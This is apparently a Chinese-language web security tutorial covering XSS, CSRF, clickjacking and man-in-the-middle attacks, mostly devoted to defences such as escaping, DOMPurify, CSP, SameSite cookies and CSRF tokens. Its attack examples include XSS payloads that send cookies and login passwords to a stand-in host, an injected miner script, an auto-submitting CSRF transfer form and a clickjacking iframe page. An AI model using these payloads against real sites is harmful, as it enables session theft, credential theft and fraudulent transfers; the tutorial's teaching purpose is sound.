Web 安全深度剖析:XSS 与 CSRF 攻击及防御全解析

44 阅读13分钟

Web 安全深度剖析:XSS 与 CSRF 攻击及防御全解析

Web 安全是前端开发的重中之重,XSS 和 CSRF 是最常见的两大安全威胁。本文深入剖析 XSS 的三种攻击类型、CSRF 攻击原理、点击劫持、中间人攻击等,并提供 CSP、SameSite、DOMPurify 等完整防御方案。

前言

在 Web 开发中,安全漏洞可能导致用户数据泄露、身份被盗、财产损失等严重后果。根据 OWASP(Open Web Application Security Project)的统计,XSS(跨站脚本攻击)CSRF(跨站请求伪造) 长期位居十大 Web 安全威胁前列。

本文将深入剖析:

  • XSS 攻击:反射型、存储型、DOM 型三种类型及防御策略
  • CSRF 攻击:原理、攻击流程与防御方案
  • 点击劫持:iframe 嵌套攻击与防御
  • 中间人攻击:HTTPS 劫持与防御
  • 防御技术:CSP、SameSite、DOMPurify、CORS 等实战应用

一、XSS 攻击:跨站脚本攻击

什么是 XSS?

XSS(Cross-Site Scripting) 是一种代码注入攻击,攻击者通过在网页中注入恶意脚本,使其在用户浏览器中执行,从而窃取用户信息、劫持会话、篡改页面等。

核心原理

用户输入 → 未经过滤/转义 → 直接插入 DOM → 恶意代码执行

XSS 的三种类型

1. 反射型 XSS(Reflected XSS)

特点:恶意脚本通过 URL 参数传递,服务器将其反射回响应页面。

攻击流程

攻击者构造恶意 URL
     ↓
诱导用户点击链接
     ↓
服务器接收参数并反射到页面
     ↓
恶意脚本在用户浏览器执行

代码示例

<!-- 漏洞代码:搜索页面 -->
<div>
  <h1>搜索结果:<?php echo $_GET['query']; ?></h1>
</div>

<!-- 攻击者构造的 URL -->
https://yoursite.example.com/search?query=<script>alert('XSS')</script>

<!-- 服务器返回的 HTML -->
<div>
  <h1>搜索结果:<script>alert('XSS')</script></h1>
</div>

实际攻击场景

// 攻击者构造的恶意 URL(窃取 Cookie)
https://yoursite.example.com/search?query=<script>
  new Image().src = 'http://evil.example.net/steal?cookie=' + document.cookie;
</script>

// 短链接伪装
https://shorturl.example/abc123  // 实际指向上述恶意 URL

防御方案

// ✅ 正确:对用户输入进行 HTML 转义
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/[&<>"']/g, m => map[m]);
}

// 使用示例
const query = escapeHtml(req.query.query);
res.send(`<h1>搜索结果:${query}</h1>`);
2. 存储型 XSS(Stored XSS)

特点:恶意脚本被永久存储在目标服务器(数据库、文件系统等),每次访问都会触发攻击。

攻击流程

攻击者提交恶意数据到服务器
     ↓
数据存储到数据库
     ↓
其他用户访问包含恶意数据的页面
     ↓
恶意脚本执行

代码示例

<!-- 漏洞代码:评论系统 -->
<div class="comments">
  <?php foreach ($comments as $comment): ?>
    <div class="comment">
      <?php echo $comment['content']; ?>
    </div>
  <?php endforeach; ?>
</div>

<!-- 攻击者提交的评论 -->
<script>
  // 窃取所有访问该页面用户的 Cookie
  fetch('http://evil.example.net/steal', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      url: location.href
    })
  });
</script>

实际攻击案例

// 案例1:论坛帖子植入恶意脚本
<script>
  // 监听表单提交,窃取用户密码
  document.querySelector('form').addEventListener('submit', (e) => {
    const data = new FormData(e.target);
    fetch('http://evil.example.net/steal', {
      method: 'POST',
      body: JSON.stringify({
        username: data.get('username'),
        password: data.get('password')
      })
    });
  });
</script>

// 案例2:电商网站商品描述注入挖矿脚本
<script src="https://evil.example.net/crypto-miner.js"></script>

防御方案

// ✅ 使用 DOMPurify 库进行 HTML 过滤
import DOMPurify from 'dompurify';

// 允许安全的 HTML 标签,过滤危险内容
const cleanComment = DOMPurify.sanitize(userComment, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href']
});

// 输出到页面
document.getElementById('comments').innerHTML = cleanComment;
3. DOM 型 XSS(DOM-based XSS)

特点:攻击完全在浏览器端进行,不经过服务器,通过修改 DOM 环境执行恶意脚本。

攻击流程

攻击者构造恶意 URL
     ↓
用户访问页面,JavaScript 读取 URL 参数
     ↓
参数直接插入 DOM
     ↓
恶意脚本执行

代码示例

// ❌ 漏洞代码:直接使用 location.hash
const hash = location.hash.slice(1); // 获取 # 后面的内容
document.getElementById('content').innerHTML = hash;

// 攻击者构造的 URL
https://yoursite.example.com/#<img src=x onerror="alert('XSS')">

// 浏览器执行的代码
document.getElementById('content').innerHTML = '<img src=x onerror="alert(\'XSS\')">';

更多漏洞场景

// ❌ 场景1:使用 document.write
document.write('<div>' + location.search.split('=')[1] + '</div>');

// ❌ 场景2:使用 eval 执行用户输入
const code = new URLSearchParams(location.search).get('code');
eval(code);

// ❌ 场景3:jQuery 的 html() 方法
$('#content').html(location.hash.slice(1));

// ❌ 场景4:动态创建脚本
const script = document.createElement('script');
script.src = userInput;
document.body.appendChild(script);

防御方案

// ✅ 正确:使用 textContent 而非 innerHTML
const hash = location.hash.slice(1);
document.getElementById('content').textContent = hash;

// ✅ 正确:使用 URL 编码
const params = new URLSearchParams(location.search);
const value = encodeURIComponent(params.get('query'));

// ✅ 正确:使用 DOMPurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;

XSS 三种类型对比

特性反射型 XSS存储型 XSSDOM 型 XSS
存储位置URL 参数数据库/服务器DOM 环境
持久性非持久持久非持久
攻击范围需诱导点击链接所有访问用户需诱导点击链接
危害程度中等中等
检测难度容易容易困难(不经过服务器)
常见场景搜索、错误页面评论、论坛、博客单页应用、URL 路由

二、CSRF 攻击:跨站请求伪造

什么是 CSRF?

CSRF(Cross-Site Request Forgery) 是一种挟制用户在已登录的 Web 应用上执行非预期操作的攻击方式。

核心原理

用户已登录目标网站 → 访问恶意网站 → 恶意网站发起跨站请求 → 目标网站误认为是用户操作

CSRF 攻击流程

1. 用户登录 mybank.example,获取 Cookie
     ↓
2. 用户访问 evil.example.net(恶意网站)
     ↓
3. evil.example.net 页面包含自动提交的表单
     ↓
4. 表单向 mybank.example 发起转账请求
     ↓
5. 浏览器自动携带 mybank.example 的 Cookie
     ↓
6. mybank.example 误以为是用户操作,执行转账

CSRF 攻击示例

漏洞代码

<!-- mybank.example 转账接口(存在 CSRF 漏洞) -->
<form action="/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
  <button type="submit">转账</button>
</form>

攻击者构造的恶意页面

<!-- evil.example.net 恶意页面 -->
<!DOCTYPE html>
<html>
<head>
  <title>恭喜您中奖了!</title>
</head>
<body>
  <h1>恭喜您获得 iPhone 15!</h1>
  <p>请点击下方按钮领取</p>
  
  <!-- 隐藏表单,自动提交 -->
  <form action="https://mybank.example/transfer" method="POST" id="csrf-form" style="display:none">
    <input type="hidden" name="to" value="attacker-account">
    <input type="hidden" name="amount" value="10000">
  </form>
  
  <button onclick="document.getElementById('csrf-form').submit()">领取奖品</button>
  
  <!-- 或者页面加载时自动提交 -->
  <script>
    window.onload = function() {
      document.getElementById('csrf-form').submit();
    };
  </script>
</body>
</html>

更复杂的攻击场景

<!-- 使用图片发起 GET 请求的 CSRF -->
<img src="https://mybank.example/transfer?to=attacker&amount=10000" style="display:none">

<!-- 使用链接发起攻击 -->
<a href="https://mybank.example/transfer?to=attacker&amount=10000">点击领取奖品</a>

<!-- 使用 AJAX 发起跨站请求(需要目标网站配置不当) -->
<script>
fetch('https://mybank.example/api/transfer', {
  method: 'POST',
  credentials: 'include', // 携带 Cookie
  body: JSON.stringify({
    to: 'attacker-account',
    amount: 10000
  })
});
</script>

CSRF 防御方案

1. CSRF Token

原理:服务器生成随机 Token,嵌入表单,提交时验证。

// ✅ 服务器端生成 CSRF Token(Express 示例)
const crypto = require('crypto');

// 生成 CSRF Token
function generateCSRFToken() {
  return crypto.randomBytes(32).toString('hex');
}

// 中间件:设置 CSRF Token
app.use((req, res, next) => {
  if (!req.session.csrfToken) {
    req.session.csrfToken = generateCSRFToken();
  }
  res.locals.csrfToken = req.session.csrfToken;
  next();
});

// 转账接口:验证 CSRF Token
app.post('/transfer', (req, res) => {
  const { csrfToken, to, amount } = req.body;
  
  // 验证 Token
  if (csrfToken !== req.session.csrfToken) {
    return res.status(403).json({ error: 'CSRF Token 验证失败' });
  }
  
  // 执行转账逻辑
  // ...
  res.json({ success: true });
});
<!-- 前端表单包含 CSRF Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrfToken" value="<%= csrfToken %>">
  <input type="text" name="to" placeholder="收款人">
  <input type="number" name="amount" placeholder="金额">
  <button type="submit">转账</button>
</form>
// AJAX 请求携带 CSRF Token
fetch('/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify({ to, amount })
});
2. SameSite Cookie 属性

原理:设置 Cookie 的 SameSite 属性,限制跨站请求携带 Cookie。

// ✅ 服务器设置 SameSite 属性
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    httpOnly: true,
    secure: true, // 仅 HTTPS
    sameSite: 'strict' // 或 'lax'
  }
}));

SameSite 属性值对比

属性值说明跨站请求携带 Cookie适用场景
Strict严格模式完全禁止高安全性场景(银行、支付)
Lax宽松模式允许顶级导航的 GET 请求大多数网站
None无限制允许所有跨站请求需要跨站嵌入的场景(需配合 Secure)

实际应用

// ✅ 推荐配置
app.use(session({
  cookie: {
    sameSite: process.env.NODE_ENV === 'production' ? 'strict' : 'lax',
    secure: process.env.NODE_ENV === 'production'
  }
}));

// 如果需要跨站嵌入(如 iframe),使用 None + Secure
app.use(session({
  cookie: {
    sameSite: 'none',
    secure: true // SameSite=None 必须配合 Secure
  }
}));
3. 验证 Referer 和 Origin 头
// ✅ 服务器验证请求来源
app.post('/transfer', (req, res) => {
  const referer = req.get('Referer');
  const origin = req.get('Origin');
  
  // 白名单验证
  const allowedOrigins = ['https://mybank.example', 'https://www.mybank.example'];
  
  if (origin && !allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: '非法请求来源' });
  }
  
  if (referer && !allowedOrigins.some(allowed => referer.startsWith(allowed))) {
    return res.status(403).json({ error: '非法请求来源' });
  }
  
  // 执行业务逻辑
  // ...
});
4. 双重 Cookie 验证
// ✅ 双重 Cookie 验证方案
// 原理:攻击者无法获取目标网站的 Cookie 内容

// 1. 服务器在 Cookie 中设置 CSRF Token
app.get('/api/csrf-token', (req, res) => {
  const csrfToken = generateCSRFToken();
  res.cookie('csrfToken', csrfToken, { httpOnly: false }); // 前端需要读取
  res.json({ csrfToken });
});

// 2. 前端从 Cookie 读取 Token,添加到请求头
function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken')
  },
  body: JSON.stringify(data)
});

// 3. 服务器验证请求头中的 Token 与 Cookie 中的 Token 是否一致
app.post('/api/transfer', (req, res) => {
  const headerToken = req.get('X-CSRF-Token');
  const cookieToken = req.cookies.csrfToken;
  
  if (!headerToken || headerToken !== cookieToken) {
    return res.status(403).json({ error: 'CSRF 验证失败' });
  }
  
  // 执行业务逻辑
  // ...
});

三、点击劫持(Clickjacking)

什么是点击劫持?

点击劫持(Clickjacking) 是一种视觉欺骗攻击,攻击者将目标网站嵌入透明 iframe 中,诱导用户在不知情的情况下点击恶意按钮。

攻击原理

攻击者页面:
┌──────────────────────────────────┐
│  "点击领取 iPhone" 按钮          │
│                                   │
│  ┌───────────────────────────┐  │  ← 透明 iframeopacity: 0)
│  │  目标网站(mybank.example) │  │
│  │  [转账按钮]                 │  │
│  └───────────────────────────┘  │
│                                   │
│  用户看到:"点击领取 iPhone"      │
│  实际点击:转账按钮               │
└──────────────────────────────────┘

点击劫持示例

<!-- evil.example.net 恶意页面 -->
<!DOCTYPE html>
<html>
<head>
  <style>
    .fake-button {
      position: absolute;
      top: 50px;
      left: 50px;
      width: 200px;
      height: 50px;
      background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
      color: white;
      border-radius: 25px;
      font-size: 18px;
      font-weight: bold;
      text-align: center;
      line-height: 50px;
      z-index: 1;
    }
    
    .target-iframe {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      opacity: 0; /* 完全透明 */
      z-index: 2;
    }
  </style>
</head>
<body>
  <div class="fake-button">点击领取 iPhone</div>
  
  <!-- 透明的目标网站 iframe -->
  <iframe src="https://mybank.example/transfer" class="target-iframe"></iframe>
</body>
</html>

点击劫持防御方案

1. X-Frame-Options 响应头
// ✅ 服务器设置 X-Frame-Options 头
app.use((req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY'); // 或 'SAMEORIGIN'
  next();
});

X-Frame-Options 属性值

属性值说明
DENY完全禁止嵌入 iframe
SAMEORIGIN仅允许同源页面嵌入
ALLOW-FROM origin允许指定源嵌入(已废弃)
2. CSP frame-ancestors 指令
// ✅ 使用 CSP 的 frame-ancestors 指令(推荐)
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "frame-ancestors 'self' https://trusted.example.com"
  );
  next();
});
3. JavaScript 检测方案(兜底)
// ✅ 前端检测是否被嵌入 iframe
if (window.top !== window.self) {
  // 被嵌入 iframe,跳出
  window.top.location = window.self.location;
}

// 或者使用 CSP 规则
if (window.frameElement) {
  // 被嵌入 iframe
  document.body.innerHTML = '<h1>此页面不允许被嵌入</h1>';
}
<!-- 使用 meta 标签设置 CSP(仅限某些浏览器) -->
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self'">

四、中间人攻击(MITM)

什么是中间人攻击?

中间人攻击(Man-in-the-Middle Attack) 是攻击者在通信双方之间插入,窃听、篡改通信内容。

攻击流程

正常通信:
用户 ←──────────────→ 服务器

中间人攻击:
用户 ←─── 攻击者 ───→ 服务器
        (窃听/篡改)

攻击场景

1. 公共 WiFi 窃听

用户连接公共 WiFi(攻击者搭建的假热点)
     ↓
用户访问 http://mybank.example(未加密)
     ↓
攻击者窃听通信内容
     ↓
攻击者获取用户账号、密码、Cookie

2. DNS 劫持

攻击者篡改 DNS 解析结果
     ↓
用户访问 mybank.example,解析到攻击者服务器 IP
     ↓
攻击者服务器冒充 mybank.example
     ↓
用户信息被窃取

3. HTTPS 降级攻击

用户访问 https://mybank.example
     ↓
攻击者拦截请求,强制降级为 http://mybank.example
     ↓
用户数据明文传输
     ↓
攻击者窃听内容

中间人攻击防御方案

1. 强制使用 HTTPS
// ✅ 强制 HTTPS 重定向
app.use((req, res, next) => {
  if (!req.secure && req.get('x-forwarded-proto') !== 'https') {
    return res.redirect(`https://${req.get('host')}${req.url}`);
  }
  next();
});

// ✅ 使用 HSTS(HTTP Strict Transport Security)
app.use((req, res, next) => {
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload'
  );
  next();
});
2. 使用安全的 Cookie 配置
// ✅ 设置 Secure 和 HttpOnly 属性
app.use(session({
  secret: 'your-secret-key',
  cookie: {
    secure: true,    // 仅 HTTPS 传输
    httpOnly: true,  // 防止 JavaScript 读取 Cookie
    sameSite: 'strict',
    maxAge: 3600000  // 1 小时过期
  }
}));
3. 证书校验
// ✅ 客户端证书校验(Node.js)
const https = require('https');
const fs = require('fs');

const options = {
  hostname: 'api.yoursite.example',
  port: 443,
  path: '/data',
  method: 'GET',
  // 校验服务器证书
  ca: fs.readFileSync('ca-cert.pem'),
  // 启用证书校验
  rejectUnauthorized: true
};

const req = https.request(options, (res) => {
  // ...
});
4. CSP 防止混合内容
// ✅ CSP 阻止混合内容(HTTPS 页面加载 HTTP 资源)
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "upgrade-insecure-requests" // 自动升级 HTTP 为 HTTPS
  );
  next();
});

五、防御技术实战

1. Content Security Policy(CSP)

CSP 是一种强大的安全策略,用于限制资源加载来源,防止 XSS 和数据注入攻击。

CSP 指令详解
// ✅ 完整的 CSP 配置
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    `
      default-src 'self';
      script-src 'self' https://cdn.yoursite.example 'nonce-${nonce}';
      style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
      img-src 'self' data: https:;
      font-src 'self' https://fonts.gstatic.com;
      connect-src 'self' https://api.yoursite.example;
      frame-ancestors 'self';
      form-action 'self';
      base-uri 'self';
      object-src 'none';
      upgrade-insecure-requests;
    `.replace(/\s{2,}/g, ' ').trim()
  );
  next();
});
CSP 指令说明
指令说明示例
default-src默认资源加载策略'self'
script-srcJavaScript 来源'self' 'nonce-xxx'
style-srcCSS 来源'self' 'unsafe-inline'
img-src图片来源'self' data: https:
font-src字体来源'self' https://fonts.gstatic.com
connect-srcAJAX/Fetch 连接来源'self' https://api.yoursite.example
frame-ancestors嵌入来源'self'
form-action表单提交目标'self'
base-uri<base> 标签来源'self'
object-src<object> <embed> 来源'none'
使用 Nonce 防止内联脚本
// ✅ 服务器生成 nonce
const crypto = require('crypto');

app.use((req, res, next) => {
  // 为每个请求生成唯一的 nonce
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  
  res.setHeader(
    'Content-Security-Policy',
    `script-src 'self' 'nonce-${res.locals.nonce}'`
  );
  next();
});

// 在模板中使用 nonce
app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <script nonce="${res.locals.nonce}">
        console.log('安全的内联脚本');
      </script>
    </head>
    <body>
      <h1>Hello World</h1>
    </body>
    </html>
  `);
});
使用 Hash 防止内联脚本
// ✅ 使用脚本内容的 hash
// 计算 hash:sha256-<base64-hash>
const script = "console.log('Hello');";
const hash = crypto.createHash('sha256').update(script).digest('base64');

res.setHeader(
  'Content-Security-Policy',
  `script-src 'self' 'sha256-${hash}'`
);

// 前端脚本
res.send(`
  <script>${script}</script>
`);
CSP 报告模式
// ✅ 先使用报告模式,不影响正常功能
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy-Report-Only',
    "default-src 'self'; report-uri /csp-report"
  );
  next();
});

// 接收 CSP 违规报告
app.post('/csp-report', (req, res) => {
  console.log('CSP 违规报告:', req.body);
  res.status(204).send();
});

2. DOMPurify:HTML 净化器

DOMPurify 是一个强大的 HTML 净化库,可过滤 XSS 攻击代码,保留安全的 HTML。

基本使用
// ✅ 安装:npm install dompurify
import DOMPurify from 'dompurify';

// 基本净化
const dirty = '<script>alert("XSS")</script><p>Hello World</p>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean); // <p>Hello World</p>

// 允许特定标签
const clean2 = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
  ALLOWED_ATTR: ['href', 'title']
});

// 允许 data-* 属性
const clean3 = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['div', 'span'],
  ALLOWED_ATTR: ['data-id', 'data-name']
});
高级配置
// ✅ 自定义钩子函数
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
  // 检查所有链接,移除 javascript: 协议
  if (data.tagName === 'a') {
    const href = node.getAttribute('href');
    if (href && href.toLowerCase().startsWith('javascript:')) {
      node.removeAttribute('href');
    }
  }
});

// 允许特定协议
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['a', 'img'],
  ALLOWED_ATTR: ['href', 'src'],
  ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i
});

// 强制使用 HTTPS
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
  if (node.tagName === 'IMG') {
    const src = node.getAttribute('src');
    if (src && src.startsWith('http://')) {
      node.setAttribute('src', src.replace('http://', 'https://'));
    }
  }
});
React 中使用 DOMPurify
// ✅ React 组件中使用 DOMPurify
import React from 'react';
import DOMPurify from 'dompurify';

function SafeHTML({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'title']
  });
  
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// 使用示例
function Comment({ comment }) {
  return (
    <div className="comment">
      <SafeHTML html={comment.content} />
    </div>
  );
}

3. CORS 配置

CORS(Cross-Origin Resource Sharing) 是浏览器安全策略,控制跨域请求。

// ✅ 正确的 CORS 配置
const cors = require('cors');

// 允许特定源
const corsOptions = {
  origin: ['https://yoursite.example.com', 'https://www.yoursite.example.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true, // 允许携带 Cookie
  maxAge: 86400 // 预检请求缓存时间
};

app.use(cors(corsOptions));

// 或者动态验证 origin
app.use(cors({
  origin: (origin, callback) => {
    const allowedOrigins = ['https://yoursite.example.com', 'https://www.yoursite.example.com'];
    
    // 允许无 origin 的请求(如移动应用、Postman)
    if (!origin) return callback(null, true);
    
    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('不允许的来源'));
    }
  },
  credentials: true
}));

4. 安全相关的 HTTP 头

// ✅ 设置安全相关的 HTTP 响应头
app.use((req, res, next) => {
  // 防止 MIME 类型嗅探
  res.setHeader('X-Content-Type-Options', 'nosniff');
  
  // 启用 XSS 过滤器(IE/Chrome)
  res.setHeader('X-XSS-Protection', '1; mode=block');
  
  // 禁止嵌入 iframe
  res.setHeader('X-Frame-Options', 'DENY');
  
  // HSTS:强制 HTTPS
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload'
  );
  
  // 禁用浏览器缓存敏感页面
  res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate');
  res.setHeader('Pragma', 'no-cache');
  res.setHeader('Expires', '0');
  
  // Referrer 策略
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
  
  // 权限策略
  res.setHeader(
    'Permissions-Policy',
    'geolocation=(), microphone=(), camera=()'
  );
  
  next();
});

六、完整防御方案示例

Express 后端完整配置

const express = require('express');
const session = require('express-session');
const cookieParser = require('cookie-parser');
const cors = require('cors');
const helmet = require('helmet');
const crypto = require('crypto');
const DOMPurify = require('dompurify');

const app = express();

// ========== 1. 基础安全配置 ==========

// 使用 Helmet 设置安全相关的 HTTP 头
app.use(helmet());

// 解析请求体
app.use(express.json({ limit: '10kb' })); // 限制请求体大小
app.use(express.urlencoded({ extended: true, limit: '10kb' }));

// Cookie 解析
app.use(cookieParser());

// ========== 2. Session 配置 ==========

app.use(session({
  secret: process.env.SESSION_SECRET || crypto.randomBytes(32).toString('hex'),
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,      // 防止 JavaScript 读取
    secure: process.env.NODE_ENV === 'production', // 仅 HTTPS
    sameSite: 'strict',  // 防止 CSRF
    maxAge: 3600000      // 1 小时过期
  }
}));

// ========== 3. CSRF 防护 ==========

// 生成 CSRF Token
function generateCSRFToken() {
  return crypto.randomBytes(32).toString('hex');
}

// CSRF Token 中间件
app.use((req, res, next) => {
  if (!req.session.csrfToken) {
    req.session.csrfToken = generateCSRFToken();
  }
  res.locals.csrfToken = req.session.csrfToken;
  next();
});

// 验证 CSRF Token 的路由
function verifyCSRF(req, res, next) {
  const token = req.body._csrf || 
                req.get('X-CSRF-Token') || 
                req.query._csrf;
  
  if (!token || token !== req.session.csrfToken) {
    return res.status(403).json({ error: 'CSRF Token 验证失败' });
  }
  
  next();
}

// ========== 4. CSP 配置 ==========

app.use((req, res, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;
  
  res.setHeader(
    'Content-Security-Policy',
    `
      default-src 'self';
      script-src 'self' 'nonce-${nonce}' https://cdn.yoursite.example;
      style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
      img-src 'self' data: https:;
      font-src 'self' https://fonts.gstatic.com;
      connect-src 'self' https://api.yoursite.example;
      frame-ancestors 'self';
      form-action 'self';
      base-uri 'self';
      object-src 'none';
      upgrade-insecure-requests;
    `.replace(/\s{2,}/g, ' ').trim()
  );
  
  next();
});

// ========== 5. CORS 配置 ==========

app.use(cors({
  origin: ['https://yoursite.example.com', 'https://www.yoursite.example.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
  credentials: true,
  maxAge: 86400
}));

// ========== 6. 速率限制(防止暴力破解) ==========

const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 分钟
  max: 100, // 每个 IP 最多 100 次请求
  message: '请求过于频繁,请稍后再试'
});

app.use('/api/', limiter);

// 登录接口更严格的限制
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5, // 每个 IP 最多 5 次登录尝试
  message: '登录尝试过多,请稍后再试'
});

app.use('/api/login', loginLimiter);

// ========== 7. 路由示例 ==========

// 登录页面
app.get('/login', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>登录</title>
      <script nonce="${res.locals.nonce}">
        console.log('安全的内联脚本');
      </script>
    </head>
    <body>
      <form action="/api/login" method="POST">
        <input type="hidden" name="_csrf" value="${res.locals.csrfToken}">
        <input type="text" name="username" placeholder="用户名" required>
        <input type="password" name="password" placeholder="密码" required>
        <button type="submit">登录</button>
      </form>
    </body>
    </html>
  `);
});

// 登录接口
app.post('/api/login', verifyCSRF, (req, res) => {
  const { username, password } = req.body;
  
  // 验证用户名和密码
  // ...
  
  res.json({ success: true });
});

// 评论接口(存储型 XSS 防护)
app.post('/api/comment', verifyCSRF, (req, res) => {
  const { content } = req.body;
  
  // 使用 DOMPurify 净化内容
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
  });
  
  // 保存到数据库
  // db.saveComment(cleanContent);
  
  res.json({ success: true, content: cleanContent });
});

// 搜索接口(反射型 XSS 防护)
app.get('/api/search', (req, res) => {
  const { query } = req.query;
  
  // 对用户输入进行转义
  const escapeHtml = (text) => {
    const map = {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#039;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
  };
  
  const safeQuery = escapeHtml(query);
  
  res.send(`<h1>搜索结果:${safeQuery}</h1>`);
});

// 启动服务器
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
  console.log(`服务器运行在 http://localhost:${PORT}`);
});

React 前端完整配置

import React, { useState, useEffect } from 'react';
import DOMPurify from 'dompurify';

// ========== 1. CSRF Token 管理 ==========

let csrfToken = null;

// 获取 CSRF Token
async function getCSRFToken() {
  if (csrfToken) return csrfToken;
  
  const response = await fetch('/api/csrf-token', {
    credentials: 'include'
  });
  const data = await response.json();
  csrfToken = data.csrfToken;
  return csrfToken;
}

// ========== 2. 安全的 Fetch 封装 ==========

async function safeFetch(url, options = {}) {
  const token = await getCSRFToken();
  
  const defaultOptions = {
    credentials: 'include', // 携带 Cookie
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': token,
      ...options.headers
    }
  };
  
  const response = await fetch(url, { ...defaultOptions, ...options });
  
  // 处理响应
  if (!response.ok) {
    throw new Error(`HTTP ${response.status}: ${response.statusText}`);
  }
  
  return response.json();
}

// ========== 3. 安全的 HTML 渲染组件 ==========

function SafeHTML({ html, allowedTags = ['p', 'b', 'i', 'em', 'strong', 'a'] }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: allowedTags,
    ALLOWED_ATTR: ['href', 'title']
  });
  
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ========== 4. 登录表单组件 ==========

function LoginForm() {
  const [username, setUsername] = useState('');
  const [password, setPassword] = useState('');
  const [error, setError] = useState('');
  
  const handleSubmit = async (e) => {
    e.preventDefault();
    setError('');
    
    try {
      const result = await safeFetch('/api/login', {
        method: 'POST',
        body: JSON.stringify({ username, password })
      });
      
      if (result.success) {
        window.location.href = '/dashboard';
      }
    } catch (err) {
      setError('登录失败:' + err.message);
    }
  };
  
  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input
          type="text"
          value={username}
          onChange={(e) => setUsername(e.target.value)}
          placeholder="用户名"
          required
          maxLength={50}
        />
      </div>
      <div>
        <input
          type="password"
          value={password}
          onChange={(e) => setPassword(e.target.value)}
          placeholder="密码"
          required
          maxLength={100}
        />
      </div>
      {error && <div className="error">{error}</div>}
      <button type="submit">登录</button>
    </form>
  );
}

// ========== 5. 评论组件 ==========

function CommentList({ comments }) {
  return (
    <div className="comments">
      {comments.map(comment => (
        <div key={comment.id} className="comment">
          <div className="author">{comment.author}</div>
          <SafeHTML html={comment.content} />
        </div>
      ))}
    </div>
  );
}

function CommentForm({ onSubmit }) {
  const [content, setContent] = useState('');
  
  const handleSubmit = async (e) => {
    e.preventDefault();
    
    // 净化内容
    const cleanContent = DOMPurify.sanitize(content, {
      ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
      ALLOWED_ATTR: ['href']
    });
    
    try {
      await safeFetch('/api/comment', {
        method: 'POST',
        body: JSON.stringify({ content: cleanContent })
      });
      
      setContent('');
      onSubmit && onSubmit();
    } catch (err) {
      alert('提交失败:' + err.message);
    }
  };
  
  return (
    <form onSubmit={handleSubmit}>
      <textarea
        value={content}
        onChange={(e) => setContent(e.target.value)}
        placeholder="发表评论..."
        required
        maxLength={1000}
